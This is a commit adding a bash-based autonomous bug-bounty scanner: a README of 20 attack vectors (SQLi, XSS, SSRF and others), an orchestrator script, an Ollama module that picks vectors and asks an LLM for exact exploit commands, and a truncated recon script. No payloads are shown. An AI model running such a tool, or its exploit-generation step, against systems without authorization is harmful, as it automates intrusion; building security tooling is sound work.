The Analyzer v1.0 — autonomous bug bounty engine with 20 attack vectors and Ollama brain
This commit is contained in:
15
.gitignore
vendored
Normal file
15
.gitignore
vendored
Normal file
@@ -0,0 +1,15 @@
|
|||||||
|
# Reports
|
||||||
|
reports/*.md
|
||||||
|
reports/*.html
|
||||||
|
reports/.*
|
||||||
|
|
||||||
|
# Temp files
|
||||||
|
*.tmp
|
||||||
|
/tmp/
|
||||||
|
|
||||||
|
# OS files
|
||||||
|
.DS_Store
|
||||||
|
Thumbs.db
|
||||||
|
|
||||||
|
# Git
|
||||||
|
.git/
|
||||||
108
README.md
Normal file
108
README.md
Normal file
@@ -0,0 +1,108 @@
|
|||||||
|
# ⚔️ The Analyzer v1.0 — Autonomous Bug Bounty Engine
|
||||||
|
|
||||||
|
**Authorized Bug Bounty Use Only** — Drjonesxxx / Indianaholmes
|
||||||
|
|
||||||
|
## One Command
|
||||||
|
|
||||||
|
```bash
|
||||||
|
./analyzer https://target.com
|
||||||
|
```
|
||||||
|
|
||||||
|
Or for deep scan:
|
||||||
|
```bash
|
||||||
|
./analyzer https://target.com deep
|
||||||
|
```
|
||||||
|
|
||||||
|
## Modes
|
||||||
|
|
||||||
|
| Mode | Command | What it does |
|
||||||
|
|------|---------|-------------|
|
||||||
|
| **Quick** (default) | `./analyzer https://x.com` | Recon → Ollama picks top vectors → reports |
|
||||||
|
| **Deep** | `./analyzer https://x.com deep` | Recon → ALL 20 vectors → full report |
|
||||||
|
| **Custom** | `./analyzer https://x.com custom` | Pick your own vector numbers |
|
||||||
|
| **Interactive** | `./analyzer` | Menu-driven mode |
|
||||||
|
|
||||||
|
## How it Works
|
||||||
|
|
||||||
|
```
|
||||||
|
┌─────────────┐
|
||||||
|
Target URL ────────▶│ RECON │───▶ HTTP headers, tech detection,
|
||||||
|
│ ENGINE │ endpoints, forms, cookies
|
||||||
|
└──────┬──────┘
|
||||||
|
│
|
||||||
|
▼
|
||||||
|
┌─────────────┐
|
||||||
|
│ OLLAMA │───▶ Analyzes recon data
|
||||||
|
│ BRAIN │ Picks best 5-10 vectors
|
||||||
|
└──────┬──────┘
|
||||||
|
│
|
||||||
|
┌──────────────┼──────────────┐
|
||||||
|
▼ ▼ ▼
|
||||||
|
┌──────────┐ ┌──────────┐ ┌──────────┐
|
||||||
|
│ SQLi │ │ XSS │ │ LFI │ ... 20 vectors
|
||||||
|
│ Module │ │ Module │ │ Module │
|
||||||
|
└──────────┘ └──────────┘ └──────────┘
|
||||||
|
│ │ │
|
||||||
|
▼ ▼ ▼
|
||||||
|
┌─────────────┐
|
||||||
|
│ REPORT │───▶ Markdown report
|
||||||
|
│ ENGINE │ HTML report (beautiful)
|
||||||
|
└─────────────┘ CLI summary
|
||||||
|
```
|
||||||
|
|
||||||
|
## 20 Attack Vectors
|
||||||
|
|
||||||
|
| # | Vector | Severity | Detects |
|
||||||
|
|----|--------|----------|---------|
|
||||||
|
| 01 | SQL Injection | CRITICAL | SQLi (error, blind, time) via sqlmap + manual |
|
||||||
|
| 02 | XSS | HIGH | Reflected, DOM-based |
|
||||||
|
| 03 | LFI/RFI | CRITICAL | File inclusion, PHP filter |
|
||||||
|
| 04 | Command Injection | CRITICAL | OS command execution |
|
||||||
|
| 05 | SSRF | HIGH | Internal resource access |
|
||||||
|
| 06 | Open Redirect | MEDIUM | Unvalidated redirects |
|
||||||
|
| 07 | Directory Traversal | HIGH | Path traversal |
|
||||||
|
| 08 | SSTI | CRITICAL | Template injection |
|
||||||
|
| 09 | XXE | CRITICAL | XML external entities |
|
||||||
|
| 10 | IDOR | HIGH | Access control bypass |
|
||||||
|
| 11 | CSRF | MEDIUM | Missing tokens |
|
||||||
|
| 12 | JWT Attacks | HIGH | 'none' alg, weak keys |
|
||||||
|
| 13 | GraphQL | HIGH | Introspection, injection |
|
||||||
|
| 14 | API Abuse | HIGH | Rate limiting, auth bypass |
|
||||||
|
| 15 | File Upload | HIGH | Unrestricted upload |
|
||||||
|
| 16 | Backup Files | HIGH | .env, configs, credentials |
|
||||||
|
| 17 | .git Exposure | CRITICAL | Source code leak |
|
||||||
|
| 18 | CORS | MEDIUM | Wildcard/reflective |
|
||||||
|
| 19 | Race Condition | MEDIUM | TOCTOU, concurrency |
|
||||||
|
| 20 | NoSQL Injection | HIGH | MongoDB $ne, $gt, $regex |
|
||||||
|
|
||||||
|
## Ollama Decision Engine
|
||||||
|
|
||||||
|
Uses **granite4.1:8b** (change with `OLLAMA_MODEL` env var) to analyze recon data and pick the best vectors. The model sees:
|
||||||
|
- What tech stack the target runs
|
||||||
|
- What endpoints exist
|
||||||
|
- What forms/inputs are present
|
||||||
|
- What attack surfaces are visible
|
||||||
|
|
||||||
|
Then it picks 5-10 vectors that have the highest probability of success.
|
||||||
|
|
||||||
|
## Reports
|
||||||
|
|
||||||
|
Output in `reports/`:
|
||||||
|
- `target.com_2026-06-18.md` — Full markdown report
|
||||||
|
- `target.com_2026-06-18.html` — Styled HTML report with severity badges
|
||||||
|
|
||||||
|
## Requirements
|
||||||
|
|
||||||
|
- `curl`, `jq`, `sqlmap` (recommended)
|
||||||
|
- Ollama running (default `http://10.30.20.110:11434`)
|
||||||
|
- Change with: `OLLAMA_HOST=http://localhost:11434 ./analyzer https://x.com`
|
||||||
|
|
||||||
|
## Deploy to Kali
|
||||||
|
|
||||||
|
```bash
|
||||||
|
scp -r ~/the-analyzer root@10.30.20.177:/opt/
|
||||||
|
```
|
||||||
|
|
||||||
|
## Legal
|
||||||
|
|
||||||
|
This tool is for **authorized bug bounty testing only**. Only use against targets you have explicit permission to test.
|
||||||
368
analyzer
Executable file
368
analyzer
Executable file
@@ -0,0 +1,368 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
# =============================================================================
|
||||||
|
# THE ANALYZER v1.0 — Autonomous Bug Bounty Analysis Engine
|
||||||
|
# Authorized Bug Bounty Use Only
|
||||||
|
# =============================================================================
|
||||||
|
|
||||||
|
set -euo pipefail
|
||||||
|
|
||||||
|
# === Setup ===
|
||||||
|
# Set up path, resolving symlinks
|
||||||
|
__ANALYZER_SRC="${BASH_SOURCE[0]}"
|
||||||
|
if command -v readlink &>/dev/null; then
|
||||||
|
while [ -h "$__ANALYZER_SRC" ]; do
|
||||||
|
__ANALYZER_SRC="$(readlink "$__ANALYZER_SRC")"
|
||||||
|
[[ "$__ANALYZER_SRC" != /* ]] && __ANALYZER_SRC="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)/$__ANALYZER_SRC"
|
||||||
|
done
|
||||||
|
fi
|
||||||
|
SCRIPT_DIR="$(cd "$(dirname "$__ANALYZER_SRC")" && pwd 2>/dev/null)" || SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||||
|
unset __ANALYZER_SRC
|
||||||
|
export ANALYZER_DIR="$SCRIPT_DIR"
|
||||||
|
export VECTORS_DIR="$ANALYZER_DIR/vectors"
|
||||||
|
export ENGINE_DIR="$ANALYZER_DIR/engine"
|
||||||
|
export LIB_DIR="$ANALYZER_DIR/lib"
|
||||||
|
export REPORTS_DIR="$ANALYZER_DIR/reports"
|
||||||
|
|
||||||
|
# Source core
|
||||||
|
source "$LIB_DIR/colors.sh"
|
||||||
|
source "$LIB_DIR/utils.sh"
|
||||||
|
source "$ENGINE_DIR/recon.sh"
|
||||||
|
source "$ENGINE_DIR/ollama-brain.sh"
|
||||||
|
source "$ENGINE_DIR/reporter.sh"
|
||||||
|
|
||||||
|
mkdir -p "$REPORTS_DIR"
|
||||||
|
|
||||||
|
# === Banner ===
|
||||||
|
show_banner() {
|
||||||
|
clear
|
||||||
|
echo -e "${BRIGHT_RED}"
|
||||||
|
echo ' ████████╗██╗ ██╗███████╗ █████╗ ███╗ ██╗ █████╗ ██╗ ██╗███████╗ '
|
||||||
|
echo ' ╚══██╔══╝██║ ██║██╔════╝ ██╔══██╗████╗ ██║██╔══██╗██║ ██║╚══███╔╝ '
|
||||||
|
echo ' ██║ ███████║█████╗ ███████║██╔██╗ ██║███████║███████║ ███╔╝ '
|
||||||
|
echo ' ██║ ██╔══██║██╔══╝ ██╔══██║██║╚██╗██║██╔══██║██╔══██║ ███╔╝ '
|
||||||
|
echo ' ██║ ██║ ██║███████╗ ██║ ██║██║ ╚████║██║ ██║██║ ██║███████╗ '
|
||||||
|
echo ' ╚═╝ ╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝ '
|
||||||
|
echo ''
|
||||||
|
echo -e " ${BRIGHT_YELLOW}Autonomous Bug Bounty Analyzer v1.0${NC}"
|
||||||
|
echo -e " ${DIM}Authorized Testing Only${NC}"
|
||||||
|
echo ''
|
||||||
|
}
|
||||||
|
|
||||||
|
# === Interactive mode ===
|
||||||
|
interactive_mode() {
|
||||||
|
show_banner
|
||||||
|
|
||||||
|
echo -e " ${BOLD}${BRIGHT_CYAN}Welcome to The Analyzer${NC}"
|
||||||
|
separator
|
||||||
|
echo ''
|
||||||
|
echo -e " ${GREEN}1${NC}. Quick Scan — Fast recon + auto-vector selection"
|
||||||
|
echo -e " ${GREEN}2${NC}. Deep Scan — Full recon, all vectors, exhaustive"
|
||||||
|
echo -e " ${GREEN}3${NC}. Custom Scan — Pick your own vectors"
|
||||||
|
echo -e " ${GREEN}4${NC}. List Vectors — Show all 20 attack vectors"
|
||||||
|
echo -e " ${GREEN}5${NC}. View Reports — Browse past results"
|
||||||
|
echo -e " ${DIM}q${NC}. Quit"
|
||||||
|
echo ''
|
||||||
|
|
||||||
|
read -p " ${ICON_ARROW} Choose mode [1]: " mode
|
||||||
|
mode="${mode:-1}"
|
||||||
|
|
||||||
|
echo ''
|
||||||
|
read -p " ${ICON_ARROW} Target URL (e.g., https://example.com): " target
|
||||||
|
|
||||||
|
# Validate
|
||||||
|
if [ -z "$target" ]; then
|
||||||
|
print_error "Target URL required!"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Add protocol if missing
|
||||||
|
[[ "$target" != http* ]] && target="https://${target}"
|
||||||
|
|
||||||
|
echo ''
|
||||||
|
print_info "Target set: ${BOLD}$target${NC}"
|
||||||
|
echo ''
|
||||||
|
|
||||||
|
case "$mode" in
|
||||||
|
1) quick_scan "$target" ;;
|
||||||
|
2) deep_scan "$target" ;;
|
||||||
|
3) custom_scan "$target" ;;
|
||||||
|
4) list_vectors && exit 0 ;;
|
||||||
|
5) view_reports && exit 0 ;;
|
||||||
|
*) quick_scan "$target" ;;
|
||||||
|
esac
|
||||||
|
}
|
||||||
|
|
||||||
|
# === Quick Scan ===
|
||||||
|
quick_scan() {
|
||||||
|
local target="$1"
|
||||||
|
local report=$(init_report "$target")
|
||||||
|
local total_findings=0
|
||||||
|
local total_vulns=0
|
||||||
|
|
||||||
|
echo -e "\n${BRIGHT_CYAN}${BOLD}═══ QUICK SCAN MODE ═══${NC}\n"
|
||||||
|
|
||||||
|
# Step 1: Check connectivity
|
||||||
|
print_step 1 4 "Checking target..."
|
||||||
|
if ! target_alive "$target"; then
|
||||||
|
print_error "Target unreachable!"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
print_ok "Target is alive"
|
||||||
|
|
||||||
|
# Step 2: Recon
|
||||||
|
print_step 2 4 "Reconnaissance"
|
||||||
|
recon_target "$target" "$report"
|
||||||
|
|
||||||
|
# Step 3: Ollama decides
|
||||||
|
print_step 3 4 "Ollama brain selecting vectors"
|
||||||
|
local decision=$(ollama_decide "$target")
|
||||||
|
echo ''
|
||||||
|
echo -e "${MAGENTA}${ICON_BRAIN} Ollama's Strategy:${NC}"
|
||||||
|
echo "$decision" | head -20
|
||||||
|
|
||||||
|
local selected=$(parse_decision "$decision")
|
||||||
|
|
||||||
|
if [ -z "$selected" ]; then
|
||||||
|
print_warn "Ollama didn't pick specific vectors. Running top 5."
|
||||||
|
selected="1 2 3 4 5"
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo ''
|
||||||
|
print_info "Running vectors: $(echo $selected | tr '\n' ' ')"
|
||||||
|
echo ''
|
||||||
|
|
||||||
|
# Step 4: Run vectors
|
||||||
|
print_step 4 4 "Executing attack vectors"
|
||||||
|
run_vectors "$target" "$report" $selected
|
||||||
|
|
||||||
|
# Generate final report
|
||||||
|
total_findings=$(ls "$REPORTS_DIR"/.finding_*.txt 2>/dev/null | wc -l | tr -d ' ')
|
||||||
|
total_vulns=$total_findings
|
||||||
|
generate_report "$target" "$report" "$total_vulns"
|
||||||
|
html_report "$report" > /dev/null
|
||||||
|
|
||||||
|
cleanup_findings
|
||||||
|
}
|
||||||
|
|
||||||
|
# === Deep Scan ===
|
||||||
|
deep_scan() {
|
||||||
|
local target="$1"
|
||||||
|
local report=$(init_report "$target")
|
||||||
|
|
||||||
|
echo -e "\n${BRIGHT_RED}${BOLD}═══ DEEP SCAN MODE — ALL VECTORS ═══${NC}\n"
|
||||||
|
|
||||||
|
# Step 1: Connectivity
|
||||||
|
print_step 1 3 "Checking target..."
|
||||||
|
if ! target_alive "$target"; then
|
||||||
|
print_error "Target unreachable!"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
print_ok "Target is alive"
|
||||||
|
|
||||||
|
# Step 2: Full recon
|
||||||
|
print_step 2 3 "Deep reconnaissance"
|
||||||
|
recon_target "$target" "$report"
|
||||||
|
|
||||||
|
# Step 3: Run ALL vectors
|
||||||
|
print_step 3 3 "Running all 20 attack vectors"
|
||||||
|
local all_vectors=$(seq 1 20 | tr '\n' ' ')
|
||||||
|
run_vectors "$target" "$report" $all_vectors
|
||||||
|
|
||||||
|
# Generate report
|
||||||
|
local total_findings=$(ls "$REPORTS_DIR"/.finding_*.txt 2>/dev/null | wc -l | tr -d ' ')
|
||||||
|
generate_report "$target" "$report" "$total_findings"
|
||||||
|
html_report "$report" > /dev/null
|
||||||
|
|
||||||
|
cleanup_findings
|
||||||
|
}
|
||||||
|
|
||||||
|
# === Custom Scan ===
|
||||||
|
custom_scan() {
|
||||||
|
local target="$1"
|
||||||
|
local report=$(init_report "$target")
|
||||||
|
|
||||||
|
echo -e "\n${BRIGHT_BLUE}${BOLD}═══ CUSTOM SCAN MODE ═══${NC}\n"
|
||||||
|
|
||||||
|
echo -e "Available vectors:"
|
||||||
|
list_vectors
|
||||||
|
echo ''
|
||||||
|
read -p " ${ICON_ARROW} Vector numbers (space-separated, e.g., 1 3 5 12): " vector_input
|
||||||
|
|
||||||
|
local selected=${vector_input:-"1 2 3 4 5"}
|
||||||
|
|
||||||
|
print_step 1 3 "Checking target..."
|
||||||
|
if ! target_alive "$target"; then
|
||||||
|
print_error "Target unreachable!"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
print_ok "Target is alive"
|
||||||
|
|
||||||
|
print_step 2 3 "Quick recon"
|
||||||
|
recon_target "$target" "$report"
|
||||||
|
|
||||||
|
print_step 3 3 "Running selected vectors"
|
||||||
|
run_vectors "$target" "$report" $selected
|
||||||
|
|
||||||
|
local total_findings=$(ls "$REPORTS_DIR"/.finding_*.txt 2>/dev/null | wc -l | tr -d ' ')
|
||||||
|
generate_report "$target" "$report" "$total_findings"
|
||||||
|
html_report "$report" > /dev/null
|
||||||
|
|
||||||
|
cleanup_findings
|
||||||
|
}
|
||||||
|
|
||||||
|
# === Run Vectors ===
|
||||||
|
run_vectors() {
|
||||||
|
local target="$1"
|
||||||
|
local report="$2"
|
||||||
|
shift 2
|
||||||
|
local vectors=("$@")
|
||||||
|
|
||||||
|
local total=${#vectors[@]}
|
||||||
|
local current=0
|
||||||
|
local total_findings=0
|
||||||
|
|
||||||
|
for num in "${vectors[@]}"; do
|
||||||
|
num=$(echo "$num" | xargs) # trim
|
||||||
|
[ -z "$num" ] && continue
|
||||||
|
|
||||||
|
current=$((current + 1))
|
||||||
|
|
||||||
|
# Find the vector file
|
||||||
|
local vf="$VECTORS_DIR/$(printf "%02d" $num)-"*.sh
|
||||||
|
if [ ! -f "$vf" ]; then
|
||||||
|
# Try without the glob
|
||||||
|
vf=""
|
||||||
|
for f in "$VECTORS_DIR"/$(printf "%02d" $num)-*.sh; do
|
||||||
|
[ -f "$f" ] && vf="$f" && break
|
||||||
|
done
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [ ! -f "$vf" ] || [ -z "$vf" ]; then
|
||||||
|
print_skip "Vector $num — file not found"
|
||||||
|
continue
|
||||||
|
fi
|
||||||
|
|
||||||
|
local vec_name=$(basename "$vf" .sh | sed 's/^[0-9]*-//')
|
||||||
|
|
||||||
|
echo ''
|
||||||
|
separator
|
||||||
|
echo -e " ${CYAN}[${current}/${total}]${NC} ${BOLD}${vec_name}${NC}"
|
||||||
|
separator
|
||||||
|
|
||||||
|
# Source and run
|
||||||
|
source "$vf"
|
||||||
|
|
||||||
|
# The vector function name follows pattern: vector_<shortname>
|
||||||
|
local func_name="vector_$(echo "$vec_name" | tr '-' '_' | sed 's/injection/inj/;s/traversal/trav/;s/redirect/oredir/;s/condition/race/;s/exposure/gitex/;s/misconfiguration/cors/;s/abuse/apiab/;s/upload/fileup/;s/fil/backup/')"
|
||||||
|
|
||||||
|
# Map vector names to function names
|
||||||
|
case $num in
|
||||||
|
1) func_name="vector_sqli" ;;
|
||||||
|
2) func_name="vector_xss" ;;
|
||||||
|
3) func_name="vector_lfi" ;;
|
||||||
|
4) func_name="vector_cmdi" ;;
|
||||||
|
5) func_name="vector_ssrf" ;;
|
||||||
|
6) func_name="vector_oredir" ;;
|
||||||
|
7) func_name="vector_dtrav" ;;
|
||||||
|
8) func_name="vector_ssti" ;;
|
||||||
|
9) func_name="vector_xxe" ;;
|
||||||
|
10) func_name="vector_idor" ;;
|
||||||
|
11) func_name="vector_csrf" ;;
|
||||||
|
12) func_name="vector_jwt" ;;
|
||||||
|
13) func_name="vector_graphql" ;;
|
||||||
|
14) func_name="vector_apiab" ;;
|
||||||
|
15) func_name="vector_fileup" ;;
|
||||||
|
16) func_name="vector_backup" ;;
|
||||||
|
17) func_name="vector_gitex" ;;
|
||||||
|
18) func_name="vector_cors" ;;
|
||||||
|
19) func_name="vector_race" ;;
|
||||||
|
20) func_name="vector_nosqli" ;;
|
||||||
|
esac
|
||||||
|
|
||||||
|
if declare -f "$func_name" >/dev/null; then
|
||||||
|
$func_name "$target" "$report"
|
||||||
|
local vfindings=$?
|
||||||
|
total_findings=$((total_findings + vfindings))
|
||||||
|
else
|
||||||
|
print_error "Function $func_name not found in $vf"
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
|
||||||
|
return $total_findings
|
||||||
|
}
|
||||||
|
|
||||||
|
# === View Reports ===
|
||||||
|
view_reports() {
|
||||||
|
echo -e "\n${BOLD}Past Reports:${NC}\n"
|
||||||
|
shopt -s nullglob
|
||||||
|
local reports=("$REPORTS_DIR"/*.md)
|
||||||
|
shopt -u nullglob
|
||||||
|
|
||||||
|
if [ ${#reports[@]} -eq 0 ]; then
|
||||||
|
print_info "No reports yet"
|
||||||
|
return
|
||||||
|
fi
|
||||||
|
|
||||||
|
local i=0
|
||||||
|
for r in "${reports[@]}"; do
|
||||||
|
[ ! -f "$r" ] && continue
|
||||||
|
i=$((i + 1))
|
||||||
|
local name=$(basename "$r")
|
||||||
|
local target=$(grep "^**Target:**" "$r" | sed 's/.*\*\*Target:\*\* //')
|
||||||
|
local date=$(grep "^**Date:**" "$r" | sed 's/.*\*\*Date:\*\* //')
|
||||||
|
local vulns=$(grep -c "^### [0-9]" "$r" 2>/dev/null || echo 0)
|
||||||
|
echo -e " ${CYAN}[$i]${NC} ${BOLD}$name${NC}"
|
||||||
|
echo -e " Target: ${target:-N/A} | Date: ${date:-N/A} | Vulns: ${BRIGHT_RED}$vulns${NC}"
|
||||||
|
done
|
||||||
|
|
||||||
|
echo ''
|
||||||
|
read -p " ${ICON_ARROW} Open report number (or Enter to skip): " rnum
|
||||||
|
|
||||||
|
if [ -n "$rnum" ] && [ "$rnum" -ge 1 ] 2>/dev/null; then
|
||||||
|
local idx=$((rnum - 1))
|
||||||
|
shopt -s nullglob
|
||||||
|
local reports_arr=("$REPORTS_DIR"/*.md)
|
||||||
|
shopt -u nullglob
|
||||||
|
if [ "$idx" -lt "${#reports_arr[@]}" ]; then
|
||||||
|
cat "${reports_arr[$idx]}"
|
||||||
|
local html="${reports_arr[$idx]%.md}.html"
|
||||||
|
echo ''
|
||||||
|
print_info "HTML: $html"
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
# === Cleanup ===
|
||||||
|
cleanup_findings() {
|
||||||
|
rm -f "$REPORTS_DIR"/.finding_*.txt "$REPORTS_DIR"/.recon_*.txt "$REPORTS_DIR"/.sqlmap_*.txt 2>/dev/null
|
||||||
|
}
|
||||||
|
|
||||||
|
# === CLI Mode (non-interactive) ===
|
||||||
|
cli_mode() {
|
||||||
|
show_banner
|
||||||
|
case "${2:-quick}" in
|
||||||
|
quick|q) quick_scan "$1" ;;
|
||||||
|
deep|d|all) deep_scan "$1" ;;
|
||||||
|
custom|c)
|
||||||
|
shift
|
||||||
|
custom_scan "$1"
|
||||||
|
;;
|
||||||
|
list|l) list_vectors ;;
|
||||||
|
*) quick_scan "$1" ;;
|
||||||
|
esac
|
||||||
|
}
|
||||||
|
|
||||||
|
# === Entry Point ===
|
||||||
|
check_deps
|
||||||
|
|
||||||
|
if ! check_ollama; then
|
||||||
|
print_warn "Ollama unavailable. Running without AI brain (default vectors)."
|
||||||
|
export NO_OLLAMA=true
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [ $# -ge 1 ]; then
|
||||||
|
# CLI mode: ./analyzer <url> [quick|deep|custom]
|
||||||
|
cli_mode "$@"
|
||||||
|
else
|
||||||
|
interactive_mode
|
||||||
|
fi
|
||||||
135
engine/ollama-brain.sh
Executable file
135
engine/ollama-brain.sh
Executable file
@@ -0,0 +1,135 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
# The Analyzer - Ollama Brain
|
||||||
|
# Decision engine that picks attack vectors based on recon data
|
||||||
|
|
||||||
|
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||||
|
source "$SCRIPT_DIR/../lib/utils.sh"
|
||||||
|
|
||||||
|
ollama_decide() {
|
||||||
|
local target="$1"
|
||||||
|
local domain=$(get_domain "$target")
|
||||||
|
local recon_file="$REPORTS_DIR/.${domain}_recon.txt"
|
||||||
|
|
||||||
|
print_brain "Consulting Ollama ($OLLAMA_MODEL) on attack strategy..."
|
||||||
|
|
||||||
|
if [ ! -f "$recon_file" ]; then
|
||||||
|
print_warn "No recon data found. Running blind."
|
||||||
|
RECON_SUMMARY="No reconnaissance data available."
|
||||||
|
else
|
||||||
|
RECON_SUMMARY=$(cat "$recon_file")
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Available vectors metadata
|
||||||
|
local vector_list=""
|
||||||
|
for f in "$VECTORS_DIR"/*.sh; do
|
||||||
|
local name=$(basename "$f" .sh)
|
||||||
|
local num=$(echo "$name" | cut -d- -f1)
|
||||||
|
local desc=$(head -10 "$f" | grep "^# Desc:" | sed 's/^# Desc: //')
|
||||||
|
local detect=$(head -10 "$f" | grep "^# Detect:" | sed 's/^# Detect: //')
|
||||||
|
local severity=$(head -10 "$f" | grep "^# Severity:" | sed 's/^# Severity: //')
|
||||||
|
vector_list+="$num: ${name#?-} | $desc | Triggers: $detect | Severity: $severity\n"
|
||||||
|
done
|
||||||
|
|
||||||
|
# Write prompts to temp files to avoid heredoc parsing issues
|
||||||
|
local sys_file=$(mktemp)
|
||||||
|
local usr_file=$(mktemp)
|
||||||
|
|
||||||
|
cat > "$sys_file" << EOF
|
||||||
|
You are The Analyzer, an autonomous security testing engine for authorized bug bounty hunting.
|
||||||
|
You analyze reconnaissance data and select the most effective attack vectors.
|
||||||
|
|
||||||
|
RULES:
|
||||||
|
1. Only recommend vectors with CLEAR EVIDENCE they will work based on recon data
|
||||||
|
2. Prioritize HIGH and CRITICAL severity vectors
|
||||||
|
3. Recommend 5-10 vectors max
|
||||||
|
4. Order by likelihood of success, not just severity
|
||||||
|
5. Include a brief reason for each recommendation
|
||||||
|
6. NEVER recommend attacking systems without authorization
|
||||||
|
7. Focus on: SQLi, XSS, LFI, RCE, SSRF, IDOR, API abuse, auth bypass
|
||||||
|
|
||||||
|
Return your response as a numbered list in this EXACT format:
|
||||||
|
## DECISION
|
||||||
|
1. <vector_number>: <reason>
|
||||||
|
2. <vector_number>: <reason>
|
||||||
|
|
||||||
|
## SUMMARY
|
||||||
|
<brief strategy summary>
|
||||||
|
EOF
|
||||||
|
|
||||||
|
cat > "$usr_file" << EOF
|
||||||
|
TARGET: $target
|
||||||
|
DOMAIN: $domain
|
||||||
|
|
||||||
|
RECONNAISSANCE DATA:
|
||||||
|
$RECON_SUMMARY
|
||||||
|
|
||||||
|
AVAILABLE ATTACK VECTORS:
|
||||||
|
$vector_list
|
||||||
|
|
||||||
|
Analyze the recon data and select the best attack vectors to run. Return ONLY the numbered list of vectors to execute and a brief summary.
|
||||||
|
EOF
|
||||||
|
|
||||||
|
print_brain "Analyzing recon data and selecting vectors..."
|
||||||
|
|
||||||
|
local decision=$(ollama_prompt "$(cat "$usr_file")" "$(cat "$sys_file")")
|
||||||
|
|
||||||
|
rm -f "$sys_file" "$usr_file"
|
||||||
|
|
||||||
|
echo "$decision"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Extract vector numbers from Ollama's decision
|
||||||
|
parse_decision() {
|
||||||
|
local decision="$1"
|
||||||
|
echo "$decision" | perl -nle 'print $1 if /^\d+\.\s*(\d+)/' | head -$MAX_VECTORS
|
||||||
|
}
|
||||||
|
|
||||||
|
# Rate a finding with Ollama
|
||||||
|
rate_finding() {
|
||||||
|
local finding="$1"
|
||||||
|
local target="$2"
|
||||||
|
|
||||||
|
local sys_file=$(mktemp)
|
||||||
|
local usr_file=$(mktemp)
|
||||||
|
|
||||||
|
cat > "$sys_file" << 'SYS'
|
||||||
|
You are a vulnerability severity assessor. Rate findings as CRITICAL, HIGH, MEDIUM, LOW, or INFO based on OWASP standards. Return only the severity level and a one-line justification.
|
||||||
|
SYS
|
||||||
|
|
||||||
|
cat > "$usr_file" << EOF
|
||||||
|
Target: $target
|
||||||
|
Finding: $finding
|
||||||
|
|
||||||
|
Rate this finding's severity:
|
||||||
|
EOF
|
||||||
|
|
||||||
|
local result=$(ollama_prompt "$(cat "$usr_file")" "$(cat "$sys_file")")
|
||||||
|
rm -f "$sys_file" "$usr_file"
|
||||||
|
echo "$result"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Get exploitation guidance
|
||||||
|
get_exploit_advice() {
|
||||||
|
local target="$1"
|
||||||
|
local vector="$2"
|
||||||
|
local evidence="$3"
|
||||||
|
|
||||||
|
local sys_file=$(mktemp)
|
||||||
|
local usr_file=$(mktemp)
|
||||||
|
|
||||||
|
cat > "$sys_file" << 'SYS'
|
||||||
|
You are an expert penetration tester. Provide specific, actionable exploitation commands for authorized bug bounty testing. Include exact payloads, curl commands, or tool invocations.
|
||||||
|
SYS
|
||||||
|
|
||||||
|
cat > "$usr_file" << EOF
|
||||||
|
Target: $target
|
||||||
|
Vector: $vector
|
||||||
|
Evidence found: $evidence
|
||||||
|
|
||||||
|
Give me the exact commands/payloads to exploit this.
|
||||||
|
EOF
|
||||||
|
|
||||||
|
local result=$(ollama_prompt "$(cat "$usr_file")" "$(cat "$sys_file")")
|
||||||
|
rm -f "$sys_file" "$usr_file"
|
||||||
|
echo "$result"
|
||||||
|
}
|
||||||
121
engine/recon.sh
Executable file
121
engine/recon.sh
Executable file
@@ -0,0 +1,121 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
# The Analyzer - Reconnaissance Engine
|
||||||
|
# Gathers target info for Ollama to make decisions
|
||||||
|
|
||||||
|
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||||
|
source "$SCRIPT_DIR/../lib/utils.sh"
|
||||||
|
|
||||||
|
recon_target() {
|
||||||
|
local target="$1"
|
||||||
|
local domain=$(get_domain "$target")
|
||||||
|
local report="$2"
|
||||||
|
|
||||||
|
echo ""
|
||||||
|
print_info "Gathering intelligence on $target..."
|
||||||
|
separator
|
||||||
|
|
||||||
|
RECON_DATA="Target: $target\nDomain: $domain\n"
|
||||||
|
|
||||||
|
# 1. HTTP Status + Headers
|
||||||
|
print_sub "Checking HTTP response..."
|
||||||
|
local status=$(http_check "$target")
|
||||||
|
local headers=$(get_headers "$target")
|
||||||
|
local server=$(echo "$headers" | grep -i '^server:' | sed 's/[Ss]erver: //' | tr -d '\r')
|
||||||
|
local ctype=$(echo "$headers" | grep -i '^content-type:' | sed 's/[Cc]ontent-[Tt]ype: //' | tr -d '\r')
|
||||||
|
local powered=$(echo "$headers" | grep -i '^x-powered-by:' | sed 's/[Xx]-[Pp]owered-[Bb]y: //' | tr -d '\r')
|
||||||
|
local cf_ray=$(echo "$headers" | grep -i '^cf-ray' | head -1)
|
||||||
|
local akamai=$(echo "$headers" | grep -i 'x-akamai' | head -1)
|
||||||
|
|
||||||
|
RECON_DATA+="Status: $status\n"
|
||||||
|
[ -n "$server" ] && RECON_DATA+="Server: $server\n" && print_info "Server: $server"
|
||||||
|
[ -n "$powered" ] && RECON_DATA+="X-Powered-By: $powered\n" && print_info "Powered by: $powered"
|
||||||
|
[ -n "$cf_ray" ] && RECON_DATA+="Cloudflare: true\n" && print_warn "Cloudflare detected"
|
||||||
|
[ -n "$akamai" ] && RECON_DATA+="Akamai: true\n" && print_warn "Akamai detected"
|
||||||
|
|
||||||
|
# 2. Title
|
||||||
|
